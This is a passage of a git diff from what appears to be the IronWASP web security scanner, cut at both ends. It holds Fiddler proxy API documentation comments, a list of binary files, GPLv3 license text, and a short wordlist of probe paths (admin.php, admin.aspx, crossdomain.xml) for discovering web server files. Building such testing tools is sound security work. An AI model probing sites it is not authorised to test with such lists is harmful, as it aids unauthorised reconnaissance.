a request. + + Note: This method will recursively retry if it fails to send on a non-new connection. + + True if connection and send succeeded, False otherwise + + + + May this request be resent on a different connection because the .Send() of the request did not complete? + + TRUE if the request may be resent + + + + Replaces body with an error message + + Error to send if client was remote + Error to send if cilent was local + + + + Loads a HTTP response from a file + + The name of the file from which a response should be loaded + False if the file wasn't found. Throws on other errors. + + + + Reads the response from the Server Pipe. + + TRUE if a response was read + + + + Detects whether this is an direct FTP request and if so executes it and returns true. + + FALSE if the request wasn't FTP or wasn't direct. + + + + Leak the current bytes of the response to client. We wait for the full header + set before starting to stream for a variety of impossible-to-change reasons. + + Returns TRUE if response bytes were leaked, false otherwise (e.g. write error) + + + + Get the MIME type (sans Character set or other attributes) from the HTTP Content-Type response header, or String.Empty if missing. + + + + + Peek at number of bytes downloaded thus far. + + + + + DEPRECATED: You should use the Timers object on the Session object instead. + The number of milliseconds between the start of sending the request to the server to the first byte of the server's response + + + + + DEPRECATED: You should use the Timers object on the Session object instead. + The number of milliseconds between the start of sending the request to the server to the last byte of the server's response. + + + + + Was this request forwarded to a gateway? + + + + + Was this request serviced from a reused server connection? + + + + + The HTTP headers of the server's response + + + + + Simple indexer into the Response Headers object + + + + + HTTP Response headers object + + + + + Base class for RequestHeaders and ResponseHeaders + + + + + Text encoding to be used when converting this header object to/from a byte array + + + + + HTTP version (e.g. HTTP/1.1) + + + + + Storage for individual HTTPHeaderItems in this header collection + NB: Using a list is important, as order can matter + + + + + Get byte count of this HTTP header instance. + + Byte Count + + + + Number of HTTP headers + + Number of HTTP headers + + + + Returns all instances of the named header + + Header name + List of instances of the named header + + + + Returns all values of the named header in a single string, delimited by commas + + Header + Each, Header's, Value + + + + Returns the count of instances of the named header + + Header name + Count of instances of the named header + + + + Enumerator for HTTPHeader storage collection + + Enumerator + + + + Adds a new header containing the specified name and value. + + Name of the header to add. + Value of the header. + Returns the newly-created HTTPHeaderItem. + + + + Determines if the Headers collection contains a header of the specified name, with any value. + + The name of the header to check. (case insensitive) + True, if the header exists. + + + + Returns the Value from a token in the header. Correctly handles double-quoted strings. Requires semicolon for delimiting tokens + Limitation: FAILS if semicolon is in token's value, even if quoted. + FAILS in the case of crazy headers, e.g. Header: Blah="SoughtToken=Blah" SoughtToken=MissedMe + + We really need a "proper" header parser + + Name of the header + Name of the token + Value of the token if present; otherwise, null + + + + Determines if the Headers collection contains one or more headers of the specified name, and + sHeaderValue is part of one of those Headers' value. + + The name of the header to check. (case insensitive) + The partial header value. (case insensitive) + True if the header is found and the value case-insensitively contains the parameter + + + + Determines if the Headers collection contains a header of the specified name, and sHeaderValue=Header's value. Similar + to a case-insensitive version of: headers[sHeaderName]==sHeaderValue, although it checks all instances of the named header. + + The name of the header to check. (case insensitive) + The full header value. (case insensitive) + True if the header is found and the value case-insensitively matches the parameter + + + + Removes all headers from the header collection which have the specified name. + + The name of the header to remove. (case insensitive) + + + + Removes all headers from the header collection which have the specified names. + + Array of names of headers to remove. (case insensitive) + + + + Removes a HTTPHeader item from the collection + + The HTTPHeader item to be removed + + + + Removes all HTTPHeader items from the collection + + + + + Renames all headers in the header collection which have the specified name. + + The name of the header to rename. (case insensitive) + The new name for the header. + True if one or more replacements were made. + + + + Gets or sets the value of a header. In the case of Gets, the value of the first header of that name is returned. + If the header does not exist, returns null. + In the case of Sets, the value of the first header of that name is updated. + If the header does not exist, it is added. + + + + + Indexer property. Returns HTTPHeaderItem by index. Throws Exception if index out of bounds + + + + + Clone this HTTPResponseHeaders object and return the result cast to an Object + + The new response headers object, cast to an object + + + + Status code from HTTP Response. If setting, also set HTTPResponseStatus too! + + + + + Code AND Description of Response Status (e.g. '200 OK'). + + + + + Update the response status code and text + + HTTP Status code (e.g. 401) + HTTP Status text (e.g. "Access Denied") + + + + Constructor for HTTP Response headers object + + + + + Constructor for HTTP Response headers object + + Text encoding to be used for this set of Headers when converting to a byte array + + + + Returns a byte array representing the HTTP headers. + + TRUE if the response status line should be included + TRUE if there should be a trailing \r\n byte sequence included + Byte[] containing the headers + + + + Returns a string containing http headers + + TRUE if the response status line should be included + TRUE if there should be a trailing CRLF included + String containing http headers + + + + Returns a string containing the http headers + + + Returns a string containing http headers with a status line but no trailing CRLF + + + + + Parses a string and assigns the headers parsed to this object + + The header string + TRUE if the operation succeeded, false otherwise + + + + Gets or sets the text associated with the response code (e.g. "OK", "Not Found", etc) + + + + + HTTP Request headers object + + + + + Clones the HTTP request headers + + The new HTTPRequestHeaders object, cast to an object + + + + The HTTP Method (e.g. GET, POST, etc) + + + + + Constructor for HTTP Request headers object + + + + + Constructor for HTTP Request headers object + + Text encoding to be used for this set of Headers when converting to a byte array + + + + Parses a string and assigns the headers parsed to this object + + The header string + TRUE if the operation succeeded, false otherwise + + + + Returns a byte array representing the HTTP headers. + + TRUE if the HTTP REQUEST line (method+path+httpversion) should be included + TRUE if there should be a trailing \r\n byte sequence included + TRUE if the SCHEME and HOST should be included in the HTTP REQUEST LINE + The HTTP headers as a byte[] + + + + Returns a byte array representing the HTTP headers. + + TRUE if the HTTP REQUEST line (method+path+httpversion) should be included + TRUE if there should be a trailing \r\n byte sequence included + TRUE if the SCHEME and HOST should be included in the HTTP REQUEST LINE + Only meaningful if prependVerbLine is TRUE, the host to use in the HTTP REQUEST LINE + The HTTP headers as a byte[] + + + + Returns a string representing the HTTP headers. + + TRUE if the HTTP REQUEST line (method+path+httpversion) should be included + TRUE if there should be a trailing CRLF sequence included + TRUE if the SCHEME and HOST should be included in the HTTP REQUEST LINE (Automatically set to FALSE for CONNECT requests) + The HTTP headers as a string. + + + + Returns a string representing the HTTP headers, without the SCHEME+HOST in the HTTP REQUEST line + + TRUE if the HTTP REQUEST line (method+path+httpversion) should be included + TRUE if there should be a trailing CRLF sequence included + The header string + + + + Returns a string representing the HTTP headers, without the SCHEME+HOST in the HTTP request line, and no trailing CRLF + + The header string + + + + The (lowercased) URI scheme for this request (https, http, or ftp) + + + + + Username:Password info for FTP URLs. (either null or "user:pass@") + + + + + Get or set the request path as a string + + + + + Get or set the request path as a byte array + + + + + Represents a single HTTP header + + + + + Clones a single HTTP header and returns the clone cast to an object + + HTTPHeader Name: Value pair, cast to an object + + + + The name of the HTTP header + + + + + The value of the HTTP header + + + + + Creates a new HTTP Header item + + Header name + Header value + + + + Return a string of the form "NAME: VALUE" + + "NAME: VALUE" Header string + + + + A SessionTimers object holds timing information about a single Session. + + + + + The time at which the client's HTTP connection to Fiddler was established + + + + + The time at which the request's first Send() to Fiddler completes + + + + + The time at which the request headers were received + + + + + The time at which the request to Fiddler completes (aka RequestLastWrite) + + + + + The time at which the server connection has been established + + + + + The time at which Fiddler begins sending the HTTP request to the server (FiddlerRequestFirstSend) + + + + + The time at which Fiddler has completed sending the HTTP request to the server (FiddlerRequestLastSend). + BUG: Should be named "FiddlerEndRequest". + NOTE: Value here is often misleading due to buffering inside WinSock's send() call. + + + + + The time at which Fiddler receives the first byte of the server's response (ServerResponseFirstRead) + + + + + The time at which Fiddler received the server's headers + + + + + The time at which Fiddler has completed receipt of the server's response (ServerResponseLastRead) + + + + + The time at which Fiddler has begun sending the Response to the client (ClientResponseFirstSend) + + + + + The time at which Fiddler has completed sending the Response to the client (ClientResponseLastSend) + + + + + The number of milliseconds spent determining which gateway should be used to handle this request + (Should be mutually exclusive to DNSTime!=0) + + + + + The number of milliseconds spent waiting for DNS + + + + + The number of milliseconds spent waiting for the server TCP/IP connection establishment + + + + + The number of milliseconds elapsed while performing the HTTPS handshake with the server + + + + + Override of ToString shows timer info in a fancy format + + Timing information as a string + + + + Override of ToString shows timer info in a fancy format + + TRUE if the result can contain linebreaks; false if comma-delimited format preferred + Timing information as a string + + + + Enables High-Resolution timers, which are bad for battery-life but good for the accuracy of timestamps. + See http://technet.microsoft.com/en-us/sysinternals/bb897568 for the ClockRes utility that shows current clock resolution. + NB: Exiting Fiddler reverts this to the default value. + + + + + Watch a registry key for changes to its values. + + The Registry Hive in which the key lives + The key, e.g. \Software\Microsoft\Fiddler2\ + The Event Handler to invoke when a change occurs. + A new RegistryWatcher object. + + + + Start monitoring. + + + + + Stops the monitoring thread. + + + + + Fires when the specified registry key has changed. + + + + + The GenericTunnel class represents a "blind tunnel" to shuffle bytes between a client and the server. + + + + + Is streaming started in the downstream direction? + + + + + Number of bytes received from the client + + + + + Number of bytes received from the server + + + + + This "Factory" method creates a new HTTPS Tunnel and executes it on a background (non-pooled) thread. + + The Session containing the HTTP CONNECT request + + + + Creates a tunnel. External callers instead use the CreateTunnel static method. + + The session for which this tunnel was initially created. + Client Pipe + Server Pipe + + + + This function keeps the thread alive until it is signaled that the traffic is complete + + + + + Executes the HTTPS tunnel inside an All-it-can-eat exception handler. + Call from a background thread. + + + + + Executes the WebSocket tunnel on a background thread + + + + + Instructs the tunnel to take over the server pipe and begin streaming responses to the client + + + + + Close the HTTPS tunnel and signal the event to let the service thread die. + WARNING: This MUST not be allowed to throw any exceptions, because it will do so on threads that don't catch them, and this will kill the application. + + + + + Called when we have received data from the local client. + Incoming data will immediately be forwarded to the remote host. + + The result of the asynchronous operation. + + + Called when we have sent data to the local client.
    When all the data has been sent, we will start receiving again from the remote host.
    + The result of the asynchronous operation. +
    + + Called when we have sent data to the remote host.
    When all the data has been sent, we will start receiving again from the local client.
    + The result of the asynchronous operation. +
    + + Called when we have received data from the remote host.
    Incoming data will immediately be forwarded to the local client.
    + The result of the asynchronous operation. +
    + + + Returns number of bytes sent from the Server to the Client + + + + + Returns number of bytes sent from the Client to the Server + + + + + Attribute used to specify the minimum version of Fiddler compatible with this extension assembly. + + + + + Attribute used to specify the minimum version of Fiddler compatible with this extension assembly. + + The minimal version string (e.g. "2.2.8.8") + + + + Getter for the required version string + + + + + Attribute allowing developer to specify that a class supports the specified Import/Export Format + + + + + Attribute allowing developer to specify that a class supports the specified Import/Export Format + + Shortname of the Format (e.g. WebText XML) + Description of the format + + + + Returns the Shortname for this format + + + + + Returns the Description of this format + + + + + This tuple maps a display string to a Import/Export type + + + + + Textual description of the Format + + + + + Class implementing the format + + + + + Create a new Transcoder Tuple + + Format description + Type implementing this format + + + + ISessionImport allows loading of Session data + + + + + Import Sessions from a data source + + Shortname of the format + Dictionary of options that the Importer class may use + Callback event on which progress is reported or the host may cancel + Array of Session objects imported from source + + + + ISessionExport allows saving of Session data + + + + + Export Sessions to a data store + + Shortname of the format + Array of Sessions being exported + Dictionary of options that the Exporter class may use + Callback event on which progress is reported or the host may cancel + TRUE if the export was successful + + + + EventArgs class for the ISessionImporter and ISessionExporter interface callbacks + + + + + Progress Callback + + Float indicating completion ratio, 0.0 to 1.0. Set to 0 if unknown. + Short string describing current operation, progress, etc + + + + Set to TRUE to request that Import/Export process be aborted as soon as convenient + + + + + The string message of the notification + + + + + The percentage completed + + + + + The core proxy object which accepts connections from clients and creates session objects from those connections + + + + + The RegistryWatcher is used to monitor changes in the WinINET Proxy registry keys + to detect premature detaches. + + + + + Hostname if this Proxy Endpoint is terminating HTTPS connections + + + + + Certificate if this Proxy Endpoint is terminating HTTPS connections + + + + + Per-connectoid information about each WinINET connectoid + + + + + The default WinINET proxy as determined upon Fiddler startup. + + + + + The WinHTTP AutoProxy object, created if we're using WPAD or a PAC Script as a gateway + + + + + Allow binding to a specific egress adapter: "fiddler.network.egress.ip" + + + + + Watcher for Notification of Preference changes + + + + + Server connections may be pooled for performance reasons. + + + + + The Socket Endpoint on which this proxy receives requests + + + + + Flag indicating that Fiddler is in the process of detaching... + + + + + List of hosts which should bypass the upstream gateway + + + + + Returns a string of information about this instance and the ServerPipe reuse pool + + A multiline string + + + + Change the outbound IP address used to send traffic + + + + + + Watch for relevent changes on the Preferences object + + + + + + + Called whenever Windows reports that the system's NetworkAddress has changed + + + + + + + Called by Windows whenever network availability goes up or down. + + + + + + + Directly inject a session into the Fiddler pipeline, returning a reference to it. + NOTE: This method will THROW any exceptions to its caller. + + String representing the HTTP request. If headers only, be sure to end with CRLFCRLF + StringDictionary of Session Flags (or null) + The new session + + + + [DEPRECATED] Directly inject a session into the Fiddler pipeline. + NOTE: This method will THROW any exceptions to its caller. + + + HTTP Request Headers + HTTP Request body (or null) + StringDictionary of Session Flags (or null) + + + + [DEPRECATED] Directly inject a session into the Fiddler pipeline. + NOTE: This method will THROW any exceptions to its caller. + + + String representing the HTTP request. If headers only, be sure to end with CRLFCRLF + StringDictionary of Session Flags (or null) + + + + [DEPRECATED]: This version does no validation of the request data, and doesn't set SessionFlags.RequestGeneratedByFiddler + Send a custom HTTP request to Fiddler's listening endpoint (127.0.0.1:8888 by default). + NOTE: This method will THROW any exceptions to its caller and blocks the current thread. + + + String representing the HTTP request. If headers only, be sure to end with CRLFCRLF + + + + This function, when given a scheme host[:port], returns the gateway information of the proxy to forward requests to. + + URIScheme: use http, https, or ftp + Host for which to return gateway information + IPEndPoint of gateway to use, or NULL + + + + Accept the connection and pass it off to a handler thread + + + + + + Register as the system proxy for WinINET and set the Dynamic registry key for other FiddlerHook + + True if the proxy registration was successful + + + + If we get a notice that the proxy registry key has changed, wait 50ms and then check to see + if the key is pointed at us. If not, raise the alarm. + + + + + + + If we are suppsoed to be "attached", we re-verify the registry keys, and if they are corrupt, notify + our host of the discrepency. + + + + + This method sets up the connectoid list and updates gateway information. Called by the Attach() method, or + called on startup if Fiddler isn't configured to attach automatically. + + + + + Given an address list, walks the list until it's able to successfully make a connection. + Used for finding an available Gateway when we have a list to choose from + + A string, e.g. PROXY1:80 + The IP:Port of the first alive endpoint for the specified host/port + + + + Set internal fields pointing at upstream proxies. + + + + + Sets a registry key which indicates that Fiddler is in "Connected" mode. Used by the FiddlerHook Add-on + + TRUE if fiddler is Connected + + + + Detach the proxy by setting the registry keys and sending a Windows Message + + True if the proxy settings were successfully detached + + + + Detach the proxy by setting the registry keys and sending a Windows Message + + True if the proxy settings were successfully detached + + + + Write a .PAC file that user can point FireFox or some other non-WinINET browser to. This is a crutch + that simplifies using Fiddler with non-WinINET clients. + + + + + + Stop the proxy by closing the socket. + + + + + Start the proxy by binding to the local port and accepting connections + + Port to listen on + TRUE to allow remote connections + + + + + Dispose Fiddler's listening socket + + + + + Clear the pool of Server Pipes. May be called by extensions. + + + + + Assign HTTPS Certificate for this endpoint + + Certificate to return to clients who connect + + + + Sets the upstream gateway to match the specified ProxyInfo + + + + + + Generate or find a certificate for this endpoint + + Subject FQDN + TRUE if the certificate could be found/generated, false otherwise + + + + Return a simple string indicating what upstream proxy/gateway is in use. + + + + + + Show a message box indicating what upstream gateway/proxy is in use + + + + + The port on which this instance is listening + + + + + Returns true if Fiddler believes it is currently registered as the Local System proxy + + + + + This event handler fires when Fiddler detects that it is (unexpectedly) no longer the system's registered proxy + + + + + Somewhat similar to the Framework's "BackgroundWorker" class, the periodic worker performs a similar function on a periodic schedule. + + The PeriodicWorker class is used by Fiddler to perform "cleanup" style tasks on a timer. Put work in the queue, + and it will see that it's done at least as often as the schedule specified until Fiddler begins to close at which + point all work stops. + + Note that the callback occurs on a background thread. + + The underlying timer's interval is 1 second. + + + + I think a significant part of the reason that this class exists is that I thought the System.Threading.Timer consumed one thread for each + timer. In reality, per "CLR via C# 4e" all of the instances share one underlying thread and thus my concern was misplaced. Ah well. + + + + + Assigns a "job" to the Periodic worker, on the schedule specified by iMS. + + The function to run on the timer specified. + Warning: the function is NOT called on the UI thread, so use .Invoke() if needed. + The # of milliseconds to wait between runs + A taskItem which can be used to revokeWork later + + + + Revokes a previously-assigned task from this worker. + + + + + + The ScheduledTasks class allows addition of jobs by name. It ensures that ONE instance of the named + job will occur at *some* point in the future, between 0 and a specified max delay. If you queue multiple + instances of the same-named Task, it's only done once. + + + + + Under the lock, we enumerate the schedule to find work to do and remove that work from the schedule. + After we release the lock, we then do the queued work. + + + + + + A jobItem represents a Function+Time tuple. The function will run after the given time. + + + + + TickCount at which this job must run. + + + + + Method to invoke to complete the job + + +
    +
    diff --git a/Iron/bin/Debug/FileNamesDictionary.txt b/Iron/bin/Debug/FileNamesDictionary.txt new file mode 100644 index 0000000..a80e66d --- /dev/null +++ b/Iron/bin/Debug/FileNamesDictionary.txt @@ -0,0 +1,3 @@ +crossdomain.xml +admin.php +admin.aspx diff --git a/Iron/bin/Debug/HtmlAgilityPack.dll b/Iron/bin/Debug/HtmlAgilityPack.dll new file mode 100644 index 0000000..b0692c1 Binary files /dev/null and b/Iron/bin/Debug/HtmlAgilityPack.dll differ diff --git a/Iron/bin/Debug/ICSharpCode.TextEditor.dll b/Iron/bin/Debug/ICSharpCode.TextEditor.dll new file mode 100644 index 0000000..8e55eba Binary files /dev/null and b/Iron/bin/Debug/ICSharpCode.TextEditor.dll differ diff --git a/Iron/bin/Debug/Ionic.Zip.dll b/Iron/bin/Debug/Ionic.Zip.dll new file mode 100644 index 0000000..95fa928 Binary files /dev/null and b/Iron/bin/Debug/Ionic.Zip.dll differ diff --git a/Iron/bin/Debug/Iron.vshost.exe.manifest b/Iron/bin/Debug/Iron.vshost.exe.manifest new file mode 100644 index 0000000..061c9ca --- /dev/null +++ b/Iron/bin/Debug/Iron.vshost.exe.manifest @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/Iron/bin/Debug/IronConfig.exe b/Iron/bin/Debug/IronConfig.exe new file mode 100644 index 0000000..d91f1b2 Binary files /dev/null and b/Iron/bin/Debug/IronConfig.exe differ diff --git a/Iron/bin/Debug/IronDataView.dll b/Iron/bin/Debug/IronDataView.dll new file mode 100644 index 0000000..cddbfdf Binary files /dev/null and b/Iron/bin/Debug/IronDataView.dll differ diff --git a/Iron/bin/Debug/IronPython.Modules.dll b/Iron/bin/Debug/IronPython.Modules.dll new file mode 100644 index 0000000..a24e7b8 Binary files /dev/null and b/Iron/bin/Debug/IronPython.Modules.dll differ diff --git a/Iron/bin/Debug/IronPython.dll b/Iron/bin/Debug/IronPython.dll new file mode 100644 index 0000000..b82653f Binary files /dev/null and b/Iron/bin/Debug/IronPython.dll differ diff --git a/Iron/bin/Debug/IronRuby.Libraries.YAML.dll b/Iron/bin/Debug/IronRuby.Libraries.YAML.dll new file mode 100644 index 0000000..44a6de7 Binary files /dev/null and b/Iron/bin/Debug/IronRuby.Libraries.YAML.dll differ diff --git a/Iron/bin/Debug/IronRuby.Libraries.dll b/Iron/bin/Debug/IronRuby.Libraries.dll new file mode 100644 index 0000000..b0d5b42 Binary files /dev/null and b/Iron/bin/Debug/IronRuby.Libraries.dll differ diff --git a/Iron/bin/Debug/IronRuby.dll b/Iron/bin/Debug/IronRuby.dll new file mode 100644 index 0000000..fcf4007 Binary files /dev/null and b/Iron/bin/Debug/IronRuby.dll differ diff --git a/Iron/bin/Debug/IronWASP.exe b/Iron/bin/Debug/IronWASP.exe new file mode 100644 index 0000000..e44f4b4 Binary files /dev/null and b/Iron/bin/Debug/IronWASP.exe differ diff --git a/Iron/bin/Debug/IronWASP.pdb b/Iron/bin/Debug/IronWASP.pdb new file mode 100644 index 0000000..5c90769 Binary files /dev/null and b/Iron/bin/Debug/IronWASP.pdb differ diff --git a/Iron/bin/Debug/IronWASP.vshost.exe b/Iron/bin/Debug/IronWASP.vshost.exe new file mode 100644 index 0000000..a2140ff Binary files /dev/null and b/Iron/bin/Debug/IronWASP.vshost.exe differ diff --git a/Iron/bin/Debug/IronWASP.vshost.exe.manifest b/Iron/bin/Debug/IronWASP.vshost.exe.manifest new file mode 100644 index 0000000..061c9ca --- /dev/null +++ b/Iron/bin/Debug/IronWASP.vshost.exe.manifest @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/Iron/bin/Debug/Jint.dll b/Iron/bin/Debug/Jint.dll new file mode 100644 index 0000000..98e2e4f Binary files /dev/null and b/Iron/bin/Debug/Jint.dll differ diff --git a/IronWASP/LICENSE.txt b/Iron/bin/Debug/LICENSE.txt similarity index 98% rename from IronWASP/LICENSE.txt rename to Iron/bin/Debug/LICENSE.txt index 3d90694..20d40b6 100644 --- a/IronWASP/LICENSE.txt +++ b/Iron/bin/Debug/LICENSE.txt @@ -1,674 +1,674 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the 